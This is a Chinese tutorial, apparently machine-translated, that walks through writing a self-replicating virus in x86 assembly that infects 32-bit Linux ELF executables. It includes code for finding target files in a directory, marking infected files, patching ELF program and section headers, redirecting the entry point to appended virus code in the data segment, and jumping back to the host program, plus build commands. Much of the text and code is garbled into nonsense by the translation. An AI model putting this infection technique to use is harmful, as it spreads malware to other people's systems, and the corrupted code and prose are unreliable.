如何使用汇编语言编写一个病毒

以任何方法装配语言中病毒的编制

绍介

病毒写信的艺术作品如同早已使液化了。。we的买到格形式不密谋祸心软件。,内部颠覆者,蠕虫等相当病毒。。你可以运用若干和睦的手稿次语言去写作那些的渣滓次并且拍着本质上的维持嘚瑟一下,但这绝不克不及让你相当病毒作者。。写作计算机病毒并未必是你理睬到的状况恰好是糟糕的车辆。,这也安心你的病毒散布的扣押和防止被检测到的扣押。,它也比防病毒软件公司更明亮。。它是对更新和独出心裁的。。计算机病毒在很多枝节的就像纸质木工刨。。你需求用明亮和才思的方法抱住木工刨。,并努力使它在不可防止的着陆前尽量久长的航班。在万维网在前方,散布病毒是东西挑动。。走运好的话,它会传染除你集团外的的若干电脑。。设想走运反而更,你的病毒将与击打病毒或Michelangelo viru有异样的荣誉。。

设想你想被凝视病毒作者,你得接纳同样的名誉。。当场黑客安排,黑客/黑客/轰炸机,我最抬头看的是病毒作者。。因没某个人能做到。,这真的能证实他比另一个更深。、体系和软件知。你不克不及依靠相当东西简略的病毒创造者依照管理。。写作东西真正的病毒需求比普通黑客更多的工力。。积年接近末期的,我没能写作东西运转良好的二元系开价纸张来传染病毒。。常常翻转的。、报错、报错。这是一件使成为一体压下的事实。。因而我留存写暴突或变大。、金衡制炸弹和ANSI炸弹。我留存写BBS变的有缺陷。,还可以回旋录像磁带游玩软件打击版权保卫。。任何时辰依我看我的编制技术终极就十足了。,当努力写病毒时,,战败再次发作在我的脸上。。我花了好几年的时期才写出了东西真正现实的的病毒。。这执意为什么我被病毒迷住了,想找出少量的真正的病毒。。在瑞安“elfmaster”奥尼尔演义的书《背诵Linux二元系次剖析》中,他象征:

这是东西逾越管理课程管理的重要的挑动同上。,它想要开发人员跳出国际公约风尚。,管理权代码、消息和事实使它在一种扣押上表现出现。,当与AV防病毒软件开发人员相连时,令我突遇顶风而终止前进的是,,他们边没某个人对以任何方法回旋病毒有若干胚胎。,更不消说设计若干真正的用尖物刺穿法来使著名它们(并且署名)。竟,病毒写信是恰好是故障的。,需求规范缜密的的工力。。

装配语言中病毒的编制

病毒是一门艺术作品。。缀编和C(不运用代码库)将是你的画笔。。出现,我会扶助你们处置我必须对付的少量的挑动。。开端吧。,看一眼你条件有相当艺术作品家的潜力。!

在意见分歧我先前的源代码传染病毒行动公开。,这是东西更上进和负有挑动性的亲身参与/家用电器(即令是E)。。最适当的,我鼓舞你尽量多地标明和吸取。。

让we的买到格形式先来描画一下我的胚胎。、真正的病毒理应具有少量的特点。:

病毒会传染二元系可管理开价纸张。

——病毒代码得是孤独的,它与若非开价纸张无干。、代码库、次等。

受传染的征服开价纸张可以持续管理和传送病毒。

病毒像办砸相似的不状况恰好是糟糕的车辆主机开价纸张。。传染的主机理应持续表现,仿佛它们被传染了相似的。

因we的买到格形式想传染二元系可管理开价纸张。,于是,短暂的绍介了意见分歧的可管理典型。。

  • ELF-(可管理和联系在一起的开价纸张格式)Unix和类Unix体系规范的的二元系开价纸张格式。这亦很多庄严的以电话传送。,游玩玩家(游玩站),任天堂)什么的。。
  • machinery 机器o -(machinery 机器男朋友)是NeXTSTEP,macOS,IOS等,二元系可管理开价纸张格式运用,你事实上的是在运用它。,因买到苹果庄严的以电话传送都在在这某个上。。
  • 32位和64位微软经营的PE(可嫁接法可管理次)
  • MZ(DOS) DOS维持的可管理开价纸张格式…买到微软32和以下经营体系被运用。
  • COM(DOS) DOS维持的可管理开价纸张格式…买到微体系在32和以下经营体系下运转。

有很多微软病毒行动公开。,最适当的ELF病毒如同更具挑动性,并且行动公开琐碎的。,因而我最参与的是32个ELF同上的传染。。

依我看读本至多有一种国际公约的计入。。设想心不在焉,我提议你标明我先前的视频博客文字。:

Stupid Simple Computer Virus in 3 Lines of Code

How to Create a Computer Virus

How to Make a Simple Computer Virus with Python

候选人提拔会步是找到要被传染的开价纸张。。DOS使听写集一言可尽找到开价纸张。。AH:4Eh INT 21使听写可以着陆预先布置的开价纸张找到第东西婚配开价纸张。,和啊:4FH INT 21,你可以找到下东西婚配开价纸张。。三灾八难的是,对we的买到格形式来说,事实无力的同样简略。。运用Linux次集检索开价纸张列表,这责怪很多互插的开价纸张。。小半的一些回复中we的买到格形式见它依赖于POSIX体系的readdir()行使职责。但we的买到格形式是黑客。,向右的?让we的买到格形式做黑客理应做什么来应验它。。你理应熟识的器是Strues。。跑步机 ls,当运转ls命令时,we的买到格形式理睬到,体系大声喊和发令枪声前面的。

AH:4Eh INT 21使听写

你感兴趣的以电话传送是GET。。因而下一步是找寻Geress。。这会给we的买到格形式某个立刻的。,we的买到格形式理应以任何方法运用它,又以任何方法接纳一览表的列表。。这执意我见的。:

  1. 电动摩托车, 5      ; sys_open 
  2. MOV EBX,开价纸张夹;一览表名。
  3. MOV ECX, 0 
  4. MOV-EDX, 0 
  5.     int 80h 
  6. 物质的化学结合机械抛光,0、反省EAX射中靶子FD条件为>0(ok)
  7. JBE翻转;无法翻开开价纸张,翻转脱离
  8. MOV EBX, eax     
  9.     电动摩托车, 0xdc   ; sys_getdents64  
  10. MOV ECX, buffer  
  11. MOV-EDX, len  
  12.     int 80h  
  13.     电动摩托车,6;完毕当日广播
  14.     int 80h 

如今,一览表的目录早已在we的买到格形式命名的把缓冲液加入中。,we的买到格形式得剖析它。。出于一种账,在起作用的每个开价纸张名,如同心不在焉划一的偏移量。,但或许我错了。。但我只对那些的原始的字母串术语感兴趣。。我所做的是用誊写版印刷机印刷把缓冲液加入到规范出口。,当时的将其避免浪费到另东西开价纸张。,当时的运用十六二元系编者翻开它。。我见每东西开价纸张名都有东西前缀。,前缀由十六二元系值0x00(NULL)结合,前面是东西六重奏。。开价纸张名由NULL取消(后缀是十六二元系0x00)。

  1. find_filename_start: 
  2. 在开价纸张名开端在前方查找序列0008。
  3. 添加EDI, 1 
  4. CMP EDI, len  
  5. 杰吉德
  6. CMP八位字节[起缓冲作用的人 EDI], 0x00  
  7.     jnz find_filename_start  
  8. 添加EDI, 1 
  9. CMP八位字节[起缓冲作用的人 EDI], 0x08  
  10.     jnz find_filename_start  
  11. 异或ECX,ECX空。,它将作为开价纸张被使无效。
  12. find_filename_end: 
  13. 排空ECX,它将作为开价纸张被使无效。
  14. 添加EDI, 1  
  15. CMP EDI, len     
  16. 杰吉德
  17. 间谍BL,[把缓冲液加入 EDI];从把缓冲液加入庄严的开价纸张名分开。
  18.     mov [file+ecx], bl  
  19.     inc ecx                 ; 扩张避免浪费在ecx的偏移量 
  20. CMP八位字节[起缓冲作用的人 EDI],0x00;表现开价纸张名的完结部。
  21.     jnz find_filename_end 
  22. MOV八位字节[开价纸张 ECX ],0x00;在在这某个上,we的买到格形式接纳开价纸张的术语。,在它的搭上上加东西0x00。
  23. 对这样开价纸张做少量的经营。
  24.     jmp find_filename_start ; 找下东西开价纸张 

其实有反而更的方法来做这些事实。。您需求做的是婚配一览表条客观的八位字节建筑风格。:

  1. struct linux_dirent { 
  2.                unsigned long  d_ino;     /* Inode number */ 
  3.                unsigned long  d_off;      /* 下东西linux_dirent的偏移 */ 
  4.                unsigned short d_reclen;  /* 这样linux_dirent的上涂料 */ 
  5.                char           d_name[];  /* 开价纸张名 (null完结部) */ 
  6.                                  /* length is actually (d_reclen - 2 - 
  7.                                     offsetof(struct linux_dirent, d_name)) */ 
  8.                /* 
  9.                char           pad;       // Zero padding byte 
  10.                char           d_type;    // File type (only since Linux 
  11.                                          // ); offset is (d_reclen - 1) 
  12.                */ 
  13.            } 
  14. struct linux_dirent64 { 
  15.                ino64_t        d_ino;    /* 64位inode number */ 
  16.                off64_t        d_off;    /* 64位下个structure的偏移 */ 
  17.                unsigned short d_reclen; /* 这样dirent的上涂料 */ 
  18.                unsigned char  d_type;   /* 开价纸张典型 */ 
  19.                char           d_name[]; /*开价纸张名 (null完结部) */ 
  20.            }; 

但我运用的是我见的风尚。,它不运用建筑风格射中靶子偏移量。。

下一步是反省开价纸张。,看一眼条件:

这是东西ELF可管理开价纸张。

它被传染了吗?

早点儿时辰,我为意见分歧的经营引入了意见分歧典型的可管理开价纸张。。这些开价纸张典型在它们的开价纸张头上有意见分歧的象征。。比如,ELF开价纸张常常因为7F45 4c46开端。45-4c-46是ASCII字母E-L-F的施魔法表现。

设想转储Windows可管理开价纸张,则有十六二元系消息,你会理睬到它从4D5A开端。,代表字母Z。

十六二元系转储OSX可管理开价纸张显示监视八位字节CEFA。 EDFE,这亦东西小的饲料。 FACE”。

在在这某个上你可以理睬到更多的可管理开价纸张格式和它们各自的监视。:

0edd1e00

在我的病毒里,据我看来把我的监视写在ELF开价纸张第九的头上 – 12八位字节在未运用的中央。这是个好中央。,它可以用来仓库东西双字0EDD1E00-我的名字。。

我需求这样来监视我传染的开价纸张。,于是,我无力的再次传染受传染的开价纸张。。若非,传染开价纸张的上涂料将越来越大,如SoNB。,宁愿见了耶路撒冷病毒。。

简略地读取前12个八位字节。,we的买到格形式能确保开价纸张是东西大好的传染目的吗?。我密谋把每个潜在的目的仓库在东西独立的把缓冲液加入中。,称之为目的。。

如今它开端到达越来越难了。。为了传染ELF开价纸张,你需求赚得参与ELF开价纸张建筑风格的每件东西。。这是背诵的好起源。:。

不相似的简略的COM开价纸张,ELF有少量的意见分歧的挑动。。简略来说,ELF开价纸张包孕:ELF头,次头,节头,命令经营码。

ELF名称牌告知we的买到格形式对次头和HEA的人。。它还告知we的买到格形式次入场权点在内存射中靶子态度(FI)。

这样程序告知we的买到格形式。,哪个上演属于译本段?,哪个上演属于消息段?,也抚养了开价纸张射中靶子偏移量。。

该节开价了对每个喜庆的和他们的上演的人。。这可能性宁愿杂乱。。率先要计入的是,东西可管理开价纸张与D意见分歧。,这些头在这两个枝节的抚养了互插的人。。

译本段是可被读取/管理的代码段。,它计入we的买到格形式的代码和若非只读消息。。

消息段是可读/写的消息段。,它计入对全程变量和静态联系在一起的人。。

在译本段中,有A译本分开和A RODATA分开。。上演消息,有A分开和BSS分开。。

设想你熟识装配语言,这些章节术语回响理应很熟识。。

译本是代码驻留的中央。,消息是全程变量设定初值的中央。。BSS计入未设定初值的全程变量。,因它心不在焉设定初值。,因而心不在焉使忙碌磁盘盖印。。

不相似的PE开价纸张(微软),ELF开价纸张中心不在焉这么多的传染区域。。过时DOS、COM开价纸张事实上容许你在若干中央添加病毒代码,当时的在100 这样地址重叠了内存代码(因COM开价纸张常常在100)。 H的内存地址开端陈述。。ELF开价纸张不容许您写作译本段。。这些是传染ELF病毒的首要道路。:

受传染译本段加垫子区

译本使爆炸的传染尾随者。we的买到格形式可以应用ELF开价纸张的特点。,当整枝法到内存中,尾随者将运用0加垫子到详尽的的内存页中。。内存页长限度局限,因而we的买到格形式不料在32位体系中拿住东西4。 KB病毒或64位体系射中靶子2位。 MB病毒。可能性看很小。,但它也足以拿住用C或缀编写作的小病毒。。这一目的的应验是:

修正入场权点(ELF头)到译本分开的末了。

扩张表中页的上涂料(精灵头)

——扩张Text段的开价纸张上涂料和内存上涂料为病毒代码的上涂料

在病毒被寄生后遍历每个次头。,着陆年史上涂料扩张相关联的的偏移量。

查找译本段的至死一节。,扩张结(头)的上涂料

传染后横贯病毒的每一分开。,着陆年史上涂料扩张相关联的的偏移量。

——在.text节的尾随者拔出现实的病毒代码

——拔出病毒代码后废料桶到原始征服的入场权点。管理

译本使爆炸的反向传染

在容许征服代码的同时,译本分开的正面受到传染。。we的买到格形式将在相反的公开范围译本段。。当代人Linux体系中容许的最小做样品的陈述地址为0x100。,这是we的买到格形式可以反向范围译本段的限度局限上涂料。。浅谈64位制,默许译本段做样品的地址通常为0x4000。,在ELF头上涂料为RE较晚地,可以保存0x3FF000的胶料。。浅谈32位制,默许译本段做样品的地址通常为0x08048。,这可能性会发作更多的病毒。。应验这一目的的方法是:

——扩张节表(在ELF头)里的偏移为病毒上涂料(对下一内存页排列值取余)

译本段次头,因为上涂料的做样品的地址(和物理地址)增加

译本段次头,着陆病毒上涂料扩张开价纸张上涂料和内存上涂料

着陆病毒的上涂料(再次),遍历每个次头的偏移量,将其值扩张到译本段不最适当的。

——修正入场权点(在ELF头)到原始的text段做样品的地址——病毒的上涂料(再次取余)

着陆病毒的上涂料(再次),扩张次头偏移(在ELF名称牌上)

将病毒物质拔出译本段的动身

消息段传染

传染消息段。we的买到格形式将把病毒代码附加到data段(在.bss节在前方)。因它是消息的一分开。,we的买到格形式的病毒代码可以尽量的大,就像we的买到格形式需要的东西的这么。。消息仓库段消息具有R。 + W(读写)力量设置,译本内存有R。 + X(读取和管理)力量设置。在心不在焉NX位设置的体系中,比如32位Linux体系。,可以在不更改力量的机遇下管理上演消息射中靶子代码。。再,若非体系想要您在内存段添加可管理监视。。

着陆病毒的上涂料,扩张头部的偏移量

将入场权点(在ELF头)修正为消息段的完结部(V)

在消息段次头中,因为病毒上涂料扩张年史上涂料和内存上涂料

扩张BSS分开的偏移量(安心VIR的上涂料)

设置消息段的可管理力量位(32位Linux体系)。

将病毒物质拔出到消息段的末了

——拔出代码,废料桶到原始征服的入场权点。

自然,有更多的方法被传染。,但这些都是候选人提拔会选择。。以we的买到格形式为例,将采取是你这么说的嘛!第三种方法。。

写作病毒的另东西首要过错是变量。。抱负机遇下,we的买到格形式不愿合.DATA和BSS分开。。以及,一旦编制或编制病毒,无法担保达到预期的目的您的病毒一直有完整同族关系的事物做样品的添加中。。竟,这事实上始终无力的发作。,在这种机遇下,征服次会投错上演。。因而在抱负的机遇下,您需要的东西将病毒限度局限在特定的的区域。:.text。设想你有编纂亲身参与,你赚得这是东西挑动。。我将和你分享少量的技能。,它理应使迅速移动更轻易。。

率先,让we的买到格形式看一眼.data变量(设定初值)。设想可能性的话,硬编码值。或许,认为我有我的.ASM代码。:

  1. 用围巾围消息
  2. 开价纸张夹DB。, 0 
  3. 伦2048
  4. 丝裂霉素32
  5.     elfheader dd 0x464c457f     ; 0x7f454c46 ->反向八位字节次
  6.     signature dd 0x001edd0e     ; 0x0edd1e00 反复八位字节序后的署名 
  7. BSS
  8.     filename: resb filenamelen  ; 目的开价纸张条理 
  9.     buffer: resb len            ; 买到的开价纸张名 
  10.     targets: resb len           ; 目的开价纸张名 
  11.     targetfile: resb len        ; 目的开价纸张目录 
  12. 译本分开
  13.     global v1_start 
  14. v1_start: 
  15. 你可以同样做: 
  16. 呼叫署名
  17.     dd 0x001edd0e     ; 0x0edd1e00反复八位字节序后的署名 
  18. signature: 
  19. POP ECX;如今它的价在ECX。

we的买到格形式在运用的是,大声喊大声喊使听写时,呼叫的出席的使听写的相对地址将被按下。。

于是,we的买到格形式可以经过每个消息段射中靶子变量来处置这样成绩。。

对BSS分开射中靶子变量(未设定初值),we的买到格形式需求仓库一定数量的八位字节消息。。we的买到格形式在.text节里同样做因它属于Text代码段,其属性监视为R。 + X(读取和管理),在该内存段中作曲消息是不容许的。。因而我决定运用堆栈。。栈?是的,一旦we的买到格形式将八位字节压入栈中,we的买到格形式可以理睬到堆栈导游并保存这些监视。。上面是我的处置方案的东西状况。:

  1. 为未设定初值变量翻开堆栈存储量以防止运用
  2. MOV ECX,2328;设置一圈计数2328。x4=9312八位字节)。开价纸张名(ESP), buffer (esp+32), targets (esp+1056), targetfile (esp+2080) 
  3. loop_bss: 
  4.     push 0x00       ; 压入4个八位字节(双字)的0 
  5. 子ECX,1;减一。
  6. 物质的化学结合机械抛光ECX, 0 
  7.     jbe loop_bss 
  8. MOV EDI,ESP;ESP具有we的买到格形式密谋伪造的BSS偏移量。。让we的买到格形式把它仓库在EDI中。。 

理睬,我早已按下0x00八位字节(按32双压机),精确的地被说成记录的上涂料。。精确的地说,we的买到格形式挤了2328下。。这将给we的买到格形式大概9312八位字节的盖印运用。。一旦我填写买到0八位字节栈,仓库ESP的值(即,we的买到格形式的堆栈导游),并把它作为we的买到格形式制订的BSS的根底。。我可以援用ESP。 拜访意见分歧的变量。在我的状况中,我避免浪费的[ESP]对应于开价纸张名。,科特雷耳电集尘器 + 32)对应于起缓冲作用的人。,科特雷耳电集尘器 + 1056)对应于目的。,又科特雷耳电集尘器 + 2080]对应targetfile。

如今我可以完整用力打.DATA和.BSS分开的运用。,所有的病毒由只的译本分开运送。!

Read是东西恰好是利益的器。。运转readelf A[开价纸张]将抚养ELF头/次头/头的少量的细部。:

在这某个上有三个分开。:.text、.data、.bss

text节

在在这某个上,we的买到格形式消并且BSS分开。:

消并且.bss节

在在这某个上,we的买到格形式早已完整消并且消息段。。we的买到格形式可以运用.text分开孤独地填写买到的事实。!

完整消并且.data段

如今we的买到格形式需求从征服开价纸张读取八位字节消息到把缓冲液加入。,对头部终止大声喊的修正。,入轨病毒象征物。。设想您早已填写了一览表记录建筑风格的作业,这对你有漂亮的。。若非,we的买到格形式将不得不读取东西八位字节到东西八位字节的开价纸张。,直到体系读取EAX的0返乡。 X00的呼叫,这喻we的买到格形式早已区域了EOF。:

  1. reading_loop: 
  2.     电动摩托车, 3              ; sys_read 
  3. MOV-EDX,1;一次读取东西八位字节(是),我赚得这可能性是最好的。
  4.     int 80h  
  5. 物质的化学结合机械抛光,0;设想返乡0,we的买到格形式读了参与EOF的文字。
  6.     je reading_eof 
  7.     电动摩托车, edi  
  8. 添加EAX, 9312          ; 2080 + 7232 (2080 targetfile在we的买到格形式伪造 .bss的偏移) 
  9. 物质的化学结合机械抛光ECX,设想开价纸张超越7232八位字节, 脱离 
  10. JGE传染
  11. 添加ECX, 1 
  12.     jmp reading_loop 
  13. reading_eof: 
  14.     push ecx                ;避免浪费至死读取的东西八位字节的地址,we的买到格形式接近末期的需求。
  15.     电动摩托车,6;完毕当日广播开价纸张。
  16.     int 80h 

修正把缓冲液加入恰好是简略。。回想起,当超过若干八位字节时,得处置反向八位字节次(小八位字节)。。

在这某个上we的买到格形式流入病毒监视并互换入场权点导演we的买到格形式在消息段尾随者的病毒代码。(内存中未被开价纸张上涂料重叠的BSS使忙碌的盖印):

  1. MOV EBX, dword [edi+2080+eax+8]     ; phdr->Vaddr(内存做样品的地址)
  2. 添加EBX,新的入场权点= PHDR [消息]>VADDR P[消息]>filesz 
  3. MOV ECX, 0x001edd0e     ; 在8八位字节处拔出we的买到格形式的象征(ELF头心不在焉用到的节) 
  4. mov [edi+2080+8], ecx 
  5. mov [edi+2080+24],用病毒(把缓冲液加入)重叠旧的入场权点

理睬到据我看来仓库0xedd1e00(用施魔法印写作的我的名字)的病毒监视,最适当的反向八位字节次抚养了0x01ED00E。。

你也会理睬到,我运用换衣服算法找到栈的踏区域导向器T。

如今we的买到格形式需求态度消息次并终止少量的修正。。诀要是率先找到PTHLoad典型。,当时的决定偏移责怪0吗?。设想偏移量为0,它是东西译本次头。。若非,这是消息。。

  1. section_header_loop: 
  2. BSS用围巾围经过节头(NoBIT)的一圈搜索
  3.    
  4. 0 SyName计入导演预先布置节的术语字母串的导游。
  5. 4 SHI-型预先布置用围巾围典型〔节名〕
  6. 8个象征若非象征
  7. 做样品的地址
  8. 10开价纸张偏移量的SH偏移分开
  9.     ;+14    sh_size zara white phone numba 
  10. 18使爆炸联系在一起的SHILLink
  11. 1C SHIFIN着陆用围巾围典型
  12. 20方位排列
  13.     ;+24    sh_entsize  当节计入使终止流通上涂料的入场权时被运用 
  14. 添加斧, word [edi+2080+46] 
  15. 物质的化学结合机械抛光ECX, 0 
  16.     jbe finish_infection        ; 未发现.bss节。不消使烦恼。,传染可以填写。
  17. 子ECX,1;减一。
  18.    
  19. MOV EBX, dword [edi+2080+eax+4]     ; shdr->典型(为写传略典型)
  20. CMP EBX, 0x00000008         ; 0x08是 NOBITS,区间BSS线索
  21.     jne section_header_loop     ; 责怪.bss节 
  22.    
  23. MOV EBX, dword [edi+2080+eax+12]    ; shdr->内存做样品的地址
  24.     添加EBX, v_stop - v_start   ; 扩张we的买到格形式病毒的上涂料给 shdr->addr 
  25.     添加EBX,7;为了跳到起源。
  26.     mov [edi+2080+eax+12],运用新的旧SHDR重叠。>(把缓冲液加入)
  27.    
  28. MOV-EDX, dword [edi+2080+eax+16]    ; shdr->偏移(为写传略偏移)
  29. 添加EDX, v_stop - v_start   ; 扩张we的买到格形式病毒的上涂料给shdr->offset 
  30. 添加EDX,7;为了跳到起源。
  31.     mov [edi+2080+eax+16],EDX;运用新的旧SHDR重叠。>偏移量(在把缓冲液加入)

we的买到格形式还需求修正.bSS名称牌。。we的买到格形式可以反省mark NOBITS典型来断定这条件是结节头。。杂交优美的体型的生物体头未必需求运转可管理开价纸张。。因而设想we的买到格形式未发现它,没什么使人害怕的的。,we的买到格形式依然可以持续。:

  1. ;dword [edi+2080+24]       ; ehdr->入场权(入场权点的做样品的地址)
  2. ;dword [edi+2080+28]       ; ehdr->Phoff(低劣的程序头)
  3. ;dword [edi+2080+32]       ; ehdr->Shoff(使有球形突出物偏移)
  4. ;word [edi+2080+40]        ; ehdr->Ehsize(精灵头上涂料)
  5. ;word [edi+2080+42]        ; ehdr->PHEnthScript(次头的入场权上涂料)
  6. ;word [edi+2080+44]        ; ehdr->Phnum(次冠军的项的数量)
  7. ;word [edi+2080+46]        ; ehdr->Shentsize(头项上涂料)
  8. ;word [edi+2080+48]        ; ehdr->Shnum(次冠军的项的数量)
  9. 电动摩托车, v_stop - v_start       ; we的买到格形式病毒的上涂料减去到原始入场权点的废料桶 
  10. 添加EAX, 7                      ; 为了到原始入场权点的废料桶 
  11. MOV EBX,dWord〔EDI 2080+32〕;原先的统一偏移。
  12. 添加EAX, ebx                    ; 扩张原始节头偏移 
  13. mov [edi+2080+32],运用旧的SHDR重叠。>偏移量(在把缓冲液加入)

当时的,自然,we的买到格形式需求修正头部偏移量来修正ELF头。,因we的买到格形式传染了消息段的航空站(在BSS在前方)。次头饲料在同族关系的态度。:

  1. ;dword [edi+2080+24]       ; ehdr->entry (virtual address of entry point) 
  2. ;dword [edi+2080+28]       ; ehdr->PHOFF(次头偏移)
  3. ;dword [edi+2080+32]       ; ehdr->SHIFF(节头偏移)
  4. ;word [edi+2080+40]        ; ehdr->EHGE(ELF名称牌胶料)
  5. ;word [edi+2080+42]        ; ehdr->phentsize (size of one program header entry) 
  6. ;word [edi+2080+44]        ; ehdr->phnum (number of program header entries) 
  7. ;word [edi+2080+46]        ; ehdr->shentsize (size of one section header entry) 
  8. ;word [edi+2080+48]        ; ehdr->shnum (number of program header entries) 
  9. 电动摩托车, v_stop - v_start       ; size of our virus minus the jump to original entry point 
  10. 添加EAX, 7                      ; for the jmp to original entry point 
  11. MOV EBX, dword [edi+2080+32]    ; the original section header offset 
  12. 添加EAX, ebx                    ; add the original section header offset 
  13. mov [edi+2080+32], eax      ; overwrite the old section header offset with the new one (in buffer) 

至死一步是流入病毒的物质代码。,并填写废料桶使听写返乡征服代码入场权点。,同样we的买到格形式不知道的用户就会理睬到征服次常客运转。。

你可能性会问本质上这样成绩是,病毒以任何方法抓住本质上的代码?病毒是以任何方法决定本质上的上涂料呢?这些都是大好的成绩。率先,我用监视来监视病毒的开端和完毕。,当时的运用简略的=mathematics偏移。:

  1. 译本分开
  2.     global v_start 
  3.    
  4. v_start: 
  5. 病毒体开端
  6. ... 
  7. ... 
  8. ... 
  9. ... 
  10. v_stop: 
  11. 病毒体航空站
  12.     电动摩托车, 1      ; sys_exit 
  13. MOV EBX,0;常客环境。
  14.     int 80h 

经过同样做,我可以运用VYSTART作为病毒启动时的偏移量。,当时的,可以运用VYSTOT-VYSTART作为八位字节数(上涂料)。。

  1. 电动摩托车, 4 
  2. MOV ECX,VXSTART;附加病毒分开。
  3. MOV-EDX,VY-START-VYSTART;病毒八位字节上涂料
  4. int 80h 

病毒上涂料(VY-终止) – 反而更的计算,最适当的在候选人提拔会次传染后病毒代码的动身(mov ecx, 援用将战败。。竟,对相对地址的若干援用首都战败。,因意见分歧征服次的内存态度会发作代替物。。在编制音长计算像VYSTART的监视的相对地址。,这安心它是怎地称谓的。。你运用的常客短跳就像JMP。、jne、jnz等都将被交换为相在起作用的出席的使听写的偏移,最适当的像MOV同样的地址无力的互换。。we的买到格形式需求的是希腊语字母表第四字母δ偏移。。Delta偏移量是与出席的征服FIL的做样品的地址差。。这么以任何方法接纳delta偏移量呢?这有东西我从90年首的DOS病毒行动公开“Dark Angel’s Phunky Virus 从导游那边学到的恰好是简略的技术。:

  1. call delta_offset 
  2. lta_offset: 
  3. 流行病脑出血
  4. 亚EBP, delta_offset 

在出席的态度大声喊监视,出席的使听写的导游(相对地址)就会被压入栈以出恭你可以赚得你RET返乡到哪里。we的买到格形式最适当的从堆栈中获取这样值,当时的接纳导演出席的INS的导游。。当时的从CurrE中减去原始病毒的相对地址。,we的买到格形式在EBP接纳了希腊语字母表第四字母δ偏移。!在原始病毒的管理迅速移动中,δ偏移量为0。。

你会理睬到,为了防止少量的过错,we的买到格形式不打以电话传送叫以电话传送。,反之亦然。我提议你不要在这样同上在远处同样做。,因很明显。,耽搁呼叫/ RET对将致使功能消融。…但这绝不常客。。

如今we的买到格形式有delta偏移量。,让we的买到格形式把VYSTART的援用交换成delta偏移版本。:

  1. 电动摩托车, 4 
  2. 莱卡, [ebp + v_start]    ; 附加病毒分开 (用delta偏移计算) 
  3. MOV-EDX,病毒消息上涂料
  4. int 80h 

请理睬,我心不在焉在病毒中计入体系脱离大声喊。。这是因我用不着的东西病毒在管理征服在前方脱离。。相反,我用废料桶到原始征服的代码交换这分开。。因意见分歧征服次的入场权点是意见分歧的。,我需求静态地优美的体型它,当时的我将立即的拔出公共的。。为了找出经营码,您得率先包含JMP使听写本质上的特点。。JMP使听写将尝试经过计算。we的买到格形式得给予它相对的位置。。我经过缀编东西小次外面的JMP短废料桶和JMP远废料桶算出了它们的施魔法经营码。JMP 经营代码从E9顶替FF。

  1. MOV EBX, 0x08048080 
  2. JMP EBX
  3. jmp 0x08048080 

集合后,我运转XXD,当时的反省八位字节消息,赚得以任何方法把它翻译成。

“xxd”当时的反省八位字节消息就赚得以任何方法将它翻译成经营码

  1. pop edx                 ; 主机次的原始入场权点 
  2. MOV[EDI], byte 0xb8        ; MOV EAX的经营码 (1 byte) 
  3. mov [edi+1],原始入场权点(4八位字节)
  4. mov [edi+5], word 0xe0ff    ; JMP EAX经营码 (2 bytes) 

MOV双记录EAX至死表现为B8。 xx xx xx xx。JMP到记录EAX中仓库的地址至死表现为FF。 E0

总恳谈7个额定的八位字节被添加到病毒的航空站。。这也要紧,we的买到格形式修正的每个偏移量和开价纸张上涂料得加到这样额定的7八位字节中。。

因而我的病毒互换了把缓冲液加入的头部(而责怪开价纸张),当时的用修正的把缓冲液加入重叠主机开价纸张直到we的买到格形式病毒代码驻留的偏移态度。当时的拔出本质上(VSTART),持续作曲缓冲八位字节的其余者分开。,至死,将控制权转变到原始征服开价纸张。。

一旦我编制病毒,据我看来手工生产添加病毒监视在八分音符八位字节的病毒。。在我的机遇下,这可能性责怪大声喊的。,因我的病毒会撑物跳目的设想它心不在焉东西DATA段的话,但机遇并恰好是常同样。。翻开你崇拜的十六扔编者并添加这些八位字节。!

如今we的买到格形式填写了。,让we的买到格形式编制和考查它。:nasm -f elf -F dwarf -g virus.asm && ld -m elf_i386 -e v_start -o virus.o

我录制了音长考查录像磁带。。我回响宁愿缺少热心。,最适当的因半夜三更了。,竟,我兴高采烈。。

既然你早已看完了,在这某个上是我超额量评论病毒代码的联系在一起。:

这是一种恰好是简略的ELF传染病毒。。它也可以经过恰好是简略的整理来改良。:

从ELF名称牌提炼物更多人(32或64位)、可管理开价纸张等。

在目的开价纸张把缓冲液加入后分派开价纸张把缓冲液加入。为什么?因当we的买到格形式达到预期的目的targetfile把缓冲液加入时就不再运用开价纸张把缓冲液加入了,we的买到格形式可以充溢开价纸张把缓冲液加入以达到预期的目的更大的目的开价纸张把缓冲液加入。。

遍历一览表,它也可以经过少量的短时间复杂的整理来改良。:

短时间重叠we的买到格形式的轨道和反而更的潜入。

——编密码!

——互换特点

运用更故障的检测方法传染

好了,这执意你的整个常规的。。

总结

经过标明这篇文字,我需要的东西你也能达到预期的目的少量的对探试法病毒检测知(而不需求搜索特定的病毒特点)。或许这将是另一天的题材。。或许我会绍介OSX病毒。…或许我会做少量的好事,揭示东西诺迪斯病毒。。

[编译程序的提议]

【责任编译程序:

它无辔头的

TEL:(010)68476606】

点赞 0

发表评论

电子邮件地址不会被公开。 必填项已用*标注